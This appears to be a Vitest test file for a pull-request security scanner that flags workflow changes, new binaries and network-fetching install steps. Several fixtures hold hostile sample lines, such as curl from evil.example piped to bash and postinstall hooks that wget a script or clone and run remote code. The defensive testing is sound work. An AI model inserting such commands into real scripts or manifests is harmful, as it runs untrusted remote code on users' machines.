Open History to see the last commit
1import { describe, expect, it } from 'vitest'
2import { scanPullSecurity } from './security.ts'
3
4describe('scanPullSecurity', () => {
5 it('is clean for a normal source patch', () => {
6 expect(
7 scanPullSecurity([
8 {
9 path: 'packages/ai/src/chat.ts',
10 patch: '@@ -1,2 +1,3 @@\n line\n+return messages\n',
11 },
12 ]),
13 ).toEqual({ ok: true, reasons: [] })
14 })
15
16 it('alerts on pull_request_target in a workflow', () => {
17 expect(
18 scanPullSecurity([
19 {
20 path: '.github/workflows/ci.yml',
21 patch:
22 '@@ -1,2 +1,4 @@\n on:\n+ pull_request_target:\n+ types: [opened]\n',
23 },
24 ]),
25 ).toEqual({
26 ok: false,
27 reasons: [
28 '.github/workflows/ci.yml: changes a workflow',
29 '.github/workflows/ci.yml: adds pull_request_target',
30 ],
31 })
32 })
33
34 it('alerts on curl piped to a shell', () => {
35 expect(
36 scanPullSecurity([
37 {
38 path: 'scripts/setup.sh',
39 patch:
40 '@@ -1 +1,2 @@\n #!/bin/sh\n+curl https://evil.example/x.sh | bash\n',
41 },
42 ]),
43 ).toEqual({
44 ok: false,
45 reasons: ['scripts/setup.sh: shell download or reverse shell'],
46 })
47 })
48
49 it('alerts on a package.json postinstall that fetches the network', () => {
50 expect(
51 scanPullSecurity([
52 {
53 path: 'packages/ai/package.json',
54 patch:
55 '@@ -1,3 +1,4 @@\n {\n+ "postinstall": "wget https://evil.example/x.js"\n }\n',
56 },
57 ]),
58 ).toEqual({
59 ok: false,
60 reasons: [
61 'packages/ai/package.json: "postinstall": "wget https://evil.example/x.js" fetches the network',
62 ],
63 })
64 })
65
66 it('alerts on a new binary path', () => {
67 expect(
68 scanPullSecurity([{ path: 'tools/helper.exe', patch: null }]),
69 ).toEqual({
70 ok: false,
71 reasons: ['tools/helper.exe: new binary or script payload'],
72 })
73 })
74
75 it('alerts when a workflow file changes, even if the patch only deletes', () => {
76 expect(
77 scanPullSecurity([
78 {
79 path: '.github/workflows/ci.yml',
80 patch: '@@ -1,2 +1,1 @@\n- pull_request_target:\n on:\n',
81 },
82 ]),
83 ).toEqual({
84 ok: false,
85 reasons: ['.github/workflows/ci.yml: changes a workflow'],
86 })
87 })
88
89 it('alerts on curl piped to /bin/bash', () => {
90 expect(
91 scanPullSecurity([
92 {
93 path: 'scripts/setup.sh',
94 patch:
95 '@@ -1 +1,2 @@\n #!/bin/sh\n+curl https://evil.example/x.sh | /bin/bash\n',
96 },
97 ]),
98 ).toEqual({
99 ok: false,
100 reasons: ['scripts/setup.sh: shell download or reverse shell'],
101 })
102 })
103
104 it('alerts on a package.json postinstall that clones then runs', () => {
105 expect(
106 scanPullSecurity([
107 {
108 path: 'packages/ai/package.json',
109 patch:
110 '@@ -1,3 +1,4 @@\n {\n+ "postinstall": "git clone ssh://git@host/repo /tmp/p && /tmp/p/install"\n }\n',
111 },
112 ]),
113 ).toEqual({
114 ok: false,
115 reasons: [
116 'packages/ai/package.json: "postinstall": "git clone ssh://git@host/repo /tmp/p && /tmp/p/install" fetches the network',
117 ],
118 })
119 })
120})